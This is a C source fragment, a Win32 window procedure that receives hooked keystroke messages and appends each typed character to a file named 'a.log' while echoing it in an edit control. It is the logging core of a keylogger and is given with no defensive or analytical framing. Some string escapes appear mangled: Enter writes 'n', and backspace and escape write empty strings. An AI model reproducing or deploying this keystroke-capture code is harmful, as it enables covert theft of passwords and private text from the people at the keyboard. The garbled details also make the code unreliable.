LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
    FILE *f = fopen("a.log", "a");

    switch (Message)
    {
    case WM_CREATE:
        CreateWindow(TEXT("EDIT"),
            NULL,
            WS_CHILD | WS_VISIBLE,
            0, 0, 100, 100,
            hwnd,
            (HMENU)3000,
            GetModuleHandle(NULL),
            0);
        break;
    case WM_CLOSE:
        DestroyWindow(hwnd);
        break;

    case WM_HOOKMESSAGE:
        switch (wParam)
        {

            case 0x08: fprintf(f,""); break;
            case 0x1b: fprintf(f,""); break;
            case 0x0d: fprintf(f,"n"); break;
            default:
                {
                    fprintf(f, "%c", wParam);
                    TCHAR buf[255];
                    RtlZeroMemory(buf, 255);
                    wsprintf(buf, TEXT("%c"), wParam);
                    SetDlgItemText(hwnd, 3000, buf);
                }
        }
        break;

    case WM_DESTROY:
    case WM_ENDSESSION:
        PostQuitMessage (0);
        break;
    }

    fclose(f);

    return DefWindowProc(hwnd,Message,wParam,lParam);
}